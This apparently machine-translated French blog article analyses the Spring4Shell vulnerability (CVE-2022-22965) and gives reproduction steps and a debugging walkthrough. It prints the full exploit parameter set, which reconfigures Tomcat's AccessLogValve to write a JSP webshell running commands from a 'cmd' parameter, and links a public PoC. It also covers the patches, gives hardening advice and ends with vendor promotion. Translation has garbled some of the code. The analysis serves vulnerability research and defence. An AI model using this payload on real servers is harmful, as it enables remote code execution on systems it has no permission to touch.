avant-propos
La semaine dernière, il a été révélé sur Internet qu'il existait une vulnérabilité RCE dans le framework Spring.Après une courte période de temps dans la nature, Spring a officiellement publié les informations sur la vulnérabilité le 31 mars.Le numéro de vulnérabilité est CVE-2022-22965. Cet article reproduit et analyse la vulnérabilité, dans l'espoir d'aider ceux qui en ont besoin pour des recherches plus approfondies. ## 1. Pré - connaissance
### 1.1 Liaison des paramètres SpringMVC
Pour faciliter la programmation, SpringMVC prend en charge l'achèvement automatique de la conversion de type et l'affectation des paramètres de la requête ou du contenu du corps de la requête dans la requête HTTP en fonction des paramètres de la méthode Controller. Ensuite, la méthode Controller peut utiliser directement ces paramètres, évitant ainsi d'avoir à écrire beaucoup de code pour obtenir les données de requête et la conversion de type à partir de HttpServletRequest. Voici un exemple simple : import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controllerpublic class UserController {@RequestMapping( " /addUser") public @ResponseBody String addUser(User user) {return "OK" ;}}public class User {nom de la chaîne privée ; département privé département ; chaîne publique getName() {nom de retour ;}public void setName(nom de la chaîne ) {this.name = name;}public Department getDepartment() {return department;}public void setDepartment(Department department) {this.
Lorsque /addUser?name=test&department.name=SEC,
le contenu du paramètre utilisateur dans public String addUser(User user) est le suivant :
On peut voir que name est automatiquement lié à l'attribut name du paramètre utilisateur, et department.name est automatiquement lié à l'attribut name de l'attribut department du paramètre utilisateur.
Faites attention à la liaison de department.name, indiquant que SpringMVC prend en charge la liaison de paramètres imbriqués à plusieurs niveaux. En fait, la liaison de department.name est implémentée par Spring via la chaîne d'appel suivante : User.getDepartment()Department.setName()
Supposons que le nom du paramètre de requête soit foo.bar.baz.qux et que le paramètre d'entrée de la méthode Controller correspondante soit Param, il existe alors la chaîne d'appel suivante : Param.getFoo()Foo.getBar()Bar.getBaz()Baz .setQux() // La note ici est définie
La classe et la méthode principales permettant à SpringMVC d'implémenter la liaison de paramètres sont WebDataBinder.doBind(MutablePropertyValues). ### 1.2 Java BeanPropertyDescriptor
PropertyDescriptor est une classe du package java.beans fourni avec le JDK, c'est-à-dire un descripteur de propriété, utilisé pour obtenir la conformité Java
out.println("Après modification : ");System.out.println("user.name : " + userNameDescriptor.getReadMethod().invoke(user));}}userNameDescriptor : java.beans.PropertyDescriptor[nom=nom ; valeurs={expert=faux ; visualUpdate=false ; caché=faux ; enumerationValues=[Ljava.lang.Object;@5cb9f472; requis=faux} ; propertyType=classe java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]Avant modification : nom.utilisateur : fooAprès modification : nom.utilisateur : bar Objet;@5cb9f472; requis=faux} ; propertyType=classe java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]Avant modification : nom.utilisateur : fooAprès modification : nom.utilisateur : bar Objet;@5cb9f472; requis=faux} ; propertyType=classe java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]Avant modification : nom.utilisateur : fooAprès modification : nom.utilisateur : bar
Comme on peut le voir à partir du code ci-dessus et des résultats de sortie, PropertyDescriptor est en fait une collection de propriétés Java Bean et des méthodes get/set correspondantes. ### 1.3 SpringBeanWrapperImpl
Dans Spring, l'interface BeanWrapper est l'emballage du Bean, qui définit un grand nombre de méthodes très pratiques pour accéder et définir les propriétés du Bean.
La classe BeanWrapperImpl est l'implémentation par défaut de l'interface BeanWrapper. La propriété BeanWrapperImpl.wrappedObject est l'objet Bean encapsulé. Enfin, BeanWrapperImpl appelle le PropertyDescriptor pour accéder aux propriétés du Bean et les définir. import org.springframework.beans.BeanWrapper;import org.springframework.beans.BeanWrapperImpl;public class BeanWrapperDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName("foo" );Department department = new Department();department.setName("SEC");user.setDepartment(department);BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);userBeanWrapper.setAutoGrowNestedPaths(true);System.out.println("userBeanWrapper : " + userBeanWrapper);System.out.println("Avant modification : ");System.out.println("nom.utilisateur : " + userBeanWrapper.getPropertyValue("nom"));System.out.println("utilisateur .department.name : " + userBeanWrapper.
Comme on peut le voir à partir du code ci-dessus et des résultats de sortie, BeanWrapperImpl peut facilement accéder aux propriétés Bean et les définir, ce qui est beaucoup plus simple que d'utiliser directement PropertyDescriptor. ### 1.4TomcatAccessLogValve et access_log
Valve de Tomcat est utilisé pour traiter les demandes et les réponses. En combinant plusieurs Valve Pipelines, une série de demandes de traitement et de réponses sont mises en œuvre dans l'ordre. Parmi eux, AccessLogValve est utilisé pour enregistrer le journal d'accès access_log. AccessLogValve est configuré par défaut dans server.xml de Tomcat, et toutes les applications web déployées dans Tomcat exécuteront cette Valve, le contenu est le suivant : <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix= "localhost_access_log" suffix=".txt" pattern="%h %l %u %t "%r" %s %b" />
Plusieurs propriétés importantes apparaissant dans la configuration sont répertoriées ci-dessous :
· répertoire : répertoire de sortie du fichier access_log.
· préfixe : préfixe du nom de fichier access_log.
· modèle : format content de dossier d'access_log.
· suffixe : suffixe du nom de fichier access_log.
· fileDateFormat : suffixe de date du nom de fichier access_log, la valeur par défaut est .yyyy-MM-dd. ## 2. Reproduction de la vulnérabilité
1. Créez un projet maven, le contenu pom.xml est le suivant : <?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0 .0 "xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven. apache.org/xsd/maven-4.0.0.xsd">4.0.0org.springframework.bootspring-boot-starter-parent2.6.3 com.exampleCVE-2022-229650.0.1-SNAPSHOTwarorg.springframework.bootspring-boot-starter- weborg.springframework.bootspring-boot-starter-tomcatprovidedorg.springframework.bootspring-boot-maven-plugin
2. Importez org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.boot.builder.SpringApplicationBuilder;import org.springframework . boot.web.servlet.support.SpringBootServletInitializer;@SpringBootApplicationpublic class ApplicationMain étend SpringBootServletInitializer {@Overrideprotected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {return builder.sources(ApplicationMain.class);}public static void main(String[] args) {SpringApplication. run(ApplicationMain.class, args);}}
3. Ajoutez la classe User et la classe UserController dans la liaison de paramètres SpringMVC du chapitre 1.1 au projet.
4. Exécutez la commande maven packaging pour empaqueter le projet dans un package war. La commande est la suivante : mvn clean package
5. Copiez le fichier CVE-2022-22965-0.0.1-SNAPSHOT.war empaqueté et généré dans le répertoire cible du projet dans le répertoire webapps de Tomcat, et démarrez Tomcat.
6. Téléchargez le fichier POC depuis https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py
et exécutez la commande suivante : python3 poc.py --url http://localhost:8080/CVE -2022 -22965-0.0.1-INSTANTANÉ/addUser
7. Visitez http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator dans le navigateur pour reproduire la vulnérabilité.
## 3. Analyse de vulnérabilité
### 3.1 Analyse POC
Nous commençons par le POC pour l'analyse. Après avoir décodé l'URL de données dans le POC, elle peut être divisée en 5 paires de paramètres suivantes.
3.1.1 paramètre de modèle
参数名：class.module.classLoader.resources.context.parent.pipeline.first.pattern
Valeur du paramètre :
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); int a
= -1 ; octet[] b = nouvel octet[2048] ; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffixe}i
De toute évidence, ce paramètre est la liaison de paramètres imbriqués multicouches SpringMVC. Nous pouvons en déduire la chaîne d'appel suivante : User.getClass()java.lang.Class.getModule()...SomeClass.setPattern() Alors quelle est la chaîne d'appel dans le processus en cours d'exécution ? Quelle classe est SomeClass ? Avec ces questions à l'esprit, nous avons défini un point d'arrêt sur la méthode principale WebDataBinder.doBind(MutablePropertyValues) mentionnée dans la pré-connaissance pour implémenter la liaison de paramètres SpringMVC.
Après une série de logique d'appel, nous arrivons à la ligne 814 de la méthode AbstractNestablePropertyAccessor, getPropertyAccessorForPropertyPath(String). Cette méthode implémente l'analyse récursive de class.module.classLoader.resources.context.parent.pipeline.first.pattern en s'appelant de manière récursive et définit la chaîne d'appel entière.
Nous nous concentrons sur la ligne 820, AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);, cette ligne implémente principalement l'acquisition de paramètres imbriqués à chaque niveau. Nous définissons un point d'arrêt sur cette ligne pour afficher la valeur de chaque variable lors de chaque processus d'analyse récursive, et comment obtenir les paramètres de chaque couche d'imbrication.
[Le transfert d'image du lien externe a échoué, le site source peut avoir un mécanisme de lien antivol, il est recommandé d'enregistrer l'image et de la télécharger directement (img-pfaSyayF-1689995877791)(https://image.3001.net/images/ 20220406/1649228676_624d3b845b663fdfabf95.png!small )] première itération
Entrer
getPropertyAccessorForPropertyPath(String)
avant la méthode :
· ceci : instance de wrapper BeanWrapperImpl de l'utilisateur
·
propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern
·
nestedPath：module.classLoader.resources.context.parent.pipeline.first.pattern
nestedProperty : classe, c'est-à-dire les paramètres imbriqués qui doivent être analysés dans ce cycle d'itération
Entrez la méthode, après une série de logique d'appel, arrivez enfin à la ligne 308 de la méthode BeanWrapperImpl, BeanPropertyHandler.getValue(). On peut voir que le paramètre imbriqué de la classe appelle finalement la classe parente de l'utilisateur java.lang.Object.getClass() par réflexion pour obtenir et renvoyer une instance de java.lang.Class.
Après le retour de la méthode getPropertyAccessorForPropertyPath(String) :
ceci : instance de wrapper BeanWrapperImpl de l'utilisateur
propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern
nestedPath : module.classLoader.resources.context.parent.pipeline.first.pattern, comme propriétéPath pour la prochaine itération
nestedProperty : classe, c'est-à-dire les paramètres imbriqués qui doivent être analysés dans ce cycle d'itération
nestedPa : instance wrapper BeanWrapperImpl de java.lang.Class, comme ceci pour la prochaine itération
Après le premier tour d'itération, nous pouvons obtenir la première couche de la chaîne d'appel : User.getClass()java.lang.Class.get???() // Prochain tour d'implémentation de l'itération
deuxième itération
Le paramètre imbriqué du module appelle finalement java.lang.Class.getModule() par réflexion pour obtenir et renvoyer une instance de java.lang.Module.
Après le deuxième tour d'itération, nous pouvons obtenir la chaîne d'appel de la deuxième couche : User.getClass()java.lang.Class.getModule()java.lang.Module.get???() // Prochain tour d'implémentation de l'itération
troisième itération
Le paramètre imbriqué classLoader appelle enfin java.lang.Module.getClassLoader() par réflexion et renvoie l'instance org.apache.catalina.loader.ParallelWebappClassLoader.
Après le troisième tour d'itération, nous pouvons obtenir la chaîne d'appel de la troisième couche : User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader()org.apache.catalina.loader.ParallelWebappClassLoader.get ???() // Prochaine ronde d'implémentation de l'itération
Ensuite, selon la méthode de débogage ci-dessus, déboguez les tours récursifs restants à tour de rôle et observez les variables correspondantes, et enfin vous pouvez obtenir la chaîne d'appel complète suivante : User.getClass()java.lang.Class.getModule()java.lang. Module.getClassLoader( )org.apache.catalina.loader.ParallelWebappClassLoader.getResources()org.apache.catalina.webresources.StandardRoot.getContext()org.apache.catalina.core.StandardContext.getParent()org.apache.catalina. core.StandardHost.getPipeline()org.apache.catalina.core.StandardPipeline.getFirst()org.apache.catalina.valves.AccessLogValve.setPattern()
On peut voir que le paramètre pattern correspond finalement à AccessLogValve.setPattern(), c'est-à-dire que la propriété pattern de AccessLogValve est définie sur %{c2}i if(
"j".equals(request.getParameter("pwd")) ){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048 ] ; while((a= in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i, qui est le format de contenu de fichier de access_log.
Regardons à nouveau la valeur du paramètre pattern. En plus du code Java normal, il y a trois fragments spéciaux mélangés. En parcourant le code source de la classe parente d'AccessLogValve AbstractAccessLogValve, vous pouvez trouver des documents connexes :
Autrement dit, les journaux générés par AccessLogValve peuvent directement faire référence au contenu des requêtes et des réponses HTTP sous des formes telles que %{param}i. Pour une documentation complète, veuillez vous reporter à la section Références à la fin de l'article.
Combinaison du contenu de la variable headers dans poc.py : headers = {"suffix": "%>//", "c1": "Runtime", "c2": "<%", "DNT": "1" , "Content -Type":"application/x-www-form-urlencoded"}
Enfin, le contenu réel de la sortie du journal par AccessLogValve est le suivant (formaté) : <%if("j".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime( ).exec(request.getParameter(“cmd”)).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=- 1) {out.println(nouvelle chaîne(b));}}%>//
Évidemment, il s'agit d'un webshell JSP. Où va cette sortie Webshell ? Quel est le nom? Peut-il être directement accessible, analysé et exécuté normalement ? Regardons ensuite le reste des paramètres.
3.1.2 paramètres de suffixe
le nom du paramètre:
class.module.classLoader.resources.context.parent.pipeline.first.suffix
Valeur du paramètre : .jsp
Selon la même méthode de débogage que le paramètre de modèle, le paramètre de suffixe définit finalement AccessLogValve.suffix sur .jsp, qui est le suffixe du nom de fichier de access_log.
3.1.3paramètre d'annuaire
Nom du paramètre : class.module.classLoader.resources.context.parent.pipeline.first.directory
Valeur du paramètre : webapps/ROOT
Selon la même méthode de débogage que le paramètre de modèle, le paramètre de répertoire définit finalement AccessLogValve.directory sur webapps/ROOT, qui est le répertoire de sortie du fichier de access_log.
Le répertoire webapps/ROOT est mentionné ici, qui est
le répertoire racine de l'application Web Tomcat. Les applications Web déployées dans le répertoire sont directement accessibles via le répertoire racine de http://localhost:8080/.
3.1.4 paramètre de préfixe
参数名：class.module.classLoader.resources.context.parent.pipeline.first.prefix
Valeur du paramètre : tomcatwar
Selon la même méthode de débogage que le paramètre pattern, le paramètre prefix définit finalement AccessLogValve.prefix sur tomcatwar, qui est le préfixe du nom de fichier de access_log.
3.1.5 Paramètre fileDateFormat
参数名：class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
Valeur du paramètre : vide
Selon la même méthode de débogage que le paramètre de modèle, le paramètre fileDateFormat définit finalement AccessLogValve.fileDateFormat sur vide, c'est-à-dire que le nom de fichier de access_log ne contient pas la date.
3.1.6 Résumé
Jusqu'à présent, après l'analyse ci-dessus, la conclusion est très claire : grâce aux paramètres transmis par la requête, le mécanisme de liaison de paramètres SpringMVC est utilisé pour contrôler les propriétés
de Tomcat AccessLogValve, et laisser Tomcat générer le "journal d'accès" personnalisé tomcatwar .jsp dans le répertoire webapps/ROOT , le "journal d'accès" est en fait un
webshell JSP.
Dans la chaîne d'appel réelle de la liaison de paramètres SpringMVC, plusieurs points clés affectent directement si la vulnérabilité peut être exploitée avec succès. ### 3.2 Points clés de l'exploitation des vulnérabilités
3.2.1 Point clé 1 : Méthode de déploiement de l'application Web
De java.lang.Module à org.apache.catalina.loader.ParallelWebappClassLoader est la clé pour transférer la chaîne d'appel vers Tomcat et enfin utiliser AccessLogValve pour sortir le webshell.
ParallelWebappClassLoader est utilisé lorsqu'une application Web est déployée sur Tomcat en tant que package war. Désormais, la plupart des entreprises utiliseront le package jar exécutable SpringBoot pour exécuter des applications Web. De cette manière, voyons pourquoi les paramètres imbriqués de classLoader sont analysés, comme illustré dans la figure suivante :
[Le transfert d'image du lien externe a échoué, le site source peut avoir un mécanisme anti-leeching, il est recommandé d'enregistrer l'image et de la télécharger directement (img-MXQTdRWM-1689995877794)(https://image.3001.net/images/20220406 /1649229024_624d3ce0c521ee80ea005.png!petit )]
On peut voir qu'en utilisant le package jar exécutable SpringBoot pour s'exécuter, le paramètre imbriqué classLoader est analysé comme org.springframework.boot.loader.LaunchedURLClassLoader, vérifiez son code source, il n'y a pas de méthode getResources(). Pour un code source spécifique, veuillez vous référer à la section de référence à la fin de l'article.
C'est pourquoi l'une des conditions pour exploiter cette vulnérabilité est que la méthode de déploiement de l'application Web doit être le déploiement du package de guerre Tomcat.
3.2.2 Point clé 2 : Version JDK
Dans le processus d'appel de AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty); dans le chapitre précédent
, Spring a en fait fait une défense.
Spring utilise org.springframework.beans.CachedIntrospectionResults pour mettre en cache et renvoyer
le PropertyDescriptor dans le bean Java qui peut être utilisé par le BeanWrapperImpl. Dans le constructeur de la ligne 289 de CachedIntrospectionResults :
Cette ligne signifie : Lorsque le type de bean est java.lang.Class, le PropertyDescriptor de classLoader et protectionDomain n'est pas renvoyé. Lorsque Spring construit la chaîne d'appel de paramètres imbriqués, il la construit en fonction du PropertyDescriptor mis en cache par CachedIntrospectionResults :
S'il ne revient pas, cela signifie que class.classLoader... ce type de paramètres imbriqués ne fonctionnera pas, c'est-à-dire la chaîne d'appel suivante : Foo.getClass()java.lang.Class.getClassLoader()BarClassLoader.getBaz( )...
C'est pourquoi la deuxième condition pour exploiter cette vulnérabilité est JDK>=1.9. ## 4. Analyse des correctifs
### Patch 4.1 Printemps 5.3.18
En comparant les versions de Spring 5.3.17 et 5.3.18, vous pouvez voir qu'il y a eu un commit appelé "Redefine PropertyDescriptor filter" le 31 mars .
En entrant dans cette soumission, vous pouvez voir que les conditions de filtrage du PropertyDescriptor du Java Bean dans le constructeur CachedIntrospectionResults
ont été modifiées : lorsque
le type du Java Bean est java.lang.Class, seuls le nom et le descripteur de propriété avec le nom suffixe sont autorisés à être obtenus. Au chapitre 3.2.2
Point clé 2 : Dans la version JDK, le lien utilisant java.lang.Class.getModule() ne fonctionnera pas.
### 4.2 Correctif Tomcat 9.0.62
En comparant les versions de Tomcat 9.0.61 et 9.0.62, on peut voir qu'il y a eu un commit nommé "Security hardening. Deprecate getResources() and always return null." le 1er avril .
[Le transfert d'image du lien externe a échoué, le site source peut avoir un mécanisme de lien antivol, il est recommandé d'enregistrer l'image et de la télécharger directement (img-iS8YijK4-1689995877795)(https://image.3001.net/images/ 20220406/1649229201_624d3d917d8ad279fe5bf.png!petit )]
En entrant dans la soumission, vous pouvez voir que la valeur de retour de la méthode getResources() a été modifiée et null est renvoyé directement. WebappClassLoaderBase est la classe parente de ParallelWebappClassLoader. Dans le chapitre 3.2.1
Point clé 1 : Mode de déploiement d'application Web, le lien utilisant org.apache.catalina.loader.ParallelWebappClassLoader.getResources() échoue.
## 5. Penser _
En sortant le code dans un fichier journal et en contrôlant le fichier journal à interpréter et à exécuter, cela est également courant dans les méthodes d'exploit. Habituellement, un fichier « journal » contenant du code est écrit à l'avance sur le serveur, et le fichier « journal » est interprété et exécuté à l'aide de la vulnérabilité d'inclusion de fichier. L'écriture dans le fichier "log" peut être réalisée incidemment via la fonction de journalisation du middleware de service Web lui-même, ou via des courbes telles que les vulnérabilités d'injection SQL et de téléchargement de fichiers.
Contrairement à ce qui précède, cette vulnérabilité ne nécessite pas l'inclusion de fichiers. La raison en est que le middleware de service Web Java lui-même est également écrit et exécuté en Java, et que l'application Web Java déployée et exécutée dessus
fait en fait partie du processus du middleware de service Web Java
. S'appuyant sur la puissante capacité de réflexion d'exécution du langage Java, les attaquants peuvent attaquer
le middleware de service Web Java via les vulnérabilités des applications Web Java. C'est-à-dire que cette fois, la vulnérabilité Spring de l'application Web elle-même est utilisée pour modifier le contenu de configuration access_log du middleware de service Web Tomcat et sortir directement le fichier "log" exécutable dans le répertoire de l'application Web
.
Dans le développement quotidien, le répertoire exécutable interprétable de l'application Web doit être strictement contrôlé en lecture seule et non inscriptible, et les répertoires qui peuvent être modifiés pendant l'exécution, tels que les journaux et les fichiers téléchargés, doivent être définis séparément et ne peuvent pas être exécutés.
Bien que cette vulnérabilité n'utilise que Tomcat dans la chaîne d'appel actuelle, tant qu'il existe une chaîne d'appel appropriée de l'application Web au middleware de service Web class.module.classLoader..., Jetty, Weblogic, Glassfish, etc. peut également être exploitée en théorie . De plus, la méthode actuelle d'écriture des fichiers journaux peut également apparaître sous la forme d'autres fichiers, tels que des fichiers de configuration, voire des chevaux de mémoire.
Le seul point "réconfortant" de cette vulnérabilité est qu'elle n'est valable que pour JDK>=1.9. Je crois que de nombreuses entreprises sont dans l'état de "vous pouvez envoyer la version, j'utilise Java
8!", mais ce n'est que pour le moment. Au lieu de prendre des risques, il vaut mieux mettre à jour Spring honnêtement comme prévu. ### Analyse de la plate-forme XDR
Comme Log4j2 dans Log4jShell, le framework Spring est presque une bibliothèque de classes de base de niveau JDK.Même si la mise à niveau est effectuée dans sa propre application, il existe encore d'autres frameworks et intergiciels extrêmement volumineux, ce qui rend le travail de mise à niveau extrêmement difficile. La solution adoptée par la plupart des entreprises consiste à utiliser des "patchs temporaires" sur les équipements de protection des frontières. Dans le même temps, un grand nombre de méthodes de contournement suivront, ce qui sera un long processus.
« Patch temporaire » signifie qu'il ne peut pas être éradiqué et que la mise à niveau des dépendances sous-jacentes est extrêmement chronophage. Alors, comment mieux découvrir et éviter les risques pendant cette période ?
La plate-forme d'analyse XDR de Jidun Technology collecte divers journaux de sécurité et trafic au sein de l'entreprise, effectue une analyse de corrélation en temps réel globale et inter-terminal basée sur ces données, exploite les risques cachés et fournit un ensemble de processus d'élimination des risques qui peuvent être organisés de manière flexible, ce qui maximise la perception de la sécurité et les capacités de traitement de l'entreprise. Même si quelqu'un exploite cette vulnérabilité pour franchir la frontière, avant de provoquer un impact plus important, grâce à l'analyse de corrélation des données multi-terminaux, la plate-forme d'analyse XDR peut percevoir si l'intrusion s'est produite plus tôt, et à quel stade elle a atteint, il peut être bloqué dans le temps. Pour une présentation plus détaillée de la plateforme, consultez le lien ci-dessous :
La méthode suivra, et ce sera un long processus.
« Patch temporaire » signifie qu'il ne peut pas être éradiqué et que la mise à niveau des dépendances sous-jacentes est extrêmement chronophage. Alors, comment mieux découvrir et éviter les risques pendant cette période ?
La plate-forme d'analyse XDR de Jidun Technology collecte divers journaux de sécurité et trafic au sein de l'entreprise, effectue une analyse de corrélation en temps réel globale et inter-terminal basée sur ces données, exploite les risques cachés et fournit un ensemble de processus d'élimination des risques qui peuvent être organisés de manière flexible, ce qui maximise la perception de la sécurité et les capacités de traitement de l'entreprise. Même si quelqu'un exploite cette vulnérabilité pour franchir la frontière, avant de provoquer un impact plus important, grâce à l'analyse de corrélation des données multi-terminaux, la plate-forme d'analyse XDR peut percevoir si l'intrusion s'est produite plus tôt, et à quel stade elle a atteint, il peut être bloqué dans le temps. Pour une présentation plus détaillée de la plateforme, consultez le lien ci-dessous :
https://www.jidun.cn/product/xice##Reference* Document de référence de configuration de Tomcat access_log : https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging* Spring 5.3. Comparaison des versions 17 et 5.3.18 : https://github.com/spring-projects/spring-framework/compare/v5.3.17…v5.3.18* Contenu de soumission du correctif Spring 5.3.18 : https://github.com/ spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15* Comparaison des versions Tomcat 9.0.61 et 9.0.62 : https://github.com/apache/tomcat/compare/9.0.61…9.0.62* Correctif Tomcat 9.0.62 Soumettre du contenu : https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c* Code source LaunchedURLClassLoader : https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring - boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java
Parcours d'apprentissage au niveau de l'entreprise pour les ingénieurs en sécurité réseau
En ce moment, bien sûr, vous avez besoin d'un itinéraire d'apprentissage systématique
Si l'image est trop grande et compressée par la plateforme, vous pouvez la télécharger en fin d'article (gratuitement), et vous pourrez également apprendre et communiquer ensemble.
Quelques-uns de ma collection d'abécédaires d'auto-apprentissage sur la cybersécurité
Quelques bons tutoriels vidéo que j'ai reçus gratuitement :
Les informations ci-dessus [cliquez sur la carte ci-dessous] peuvent être reçues, libres de partager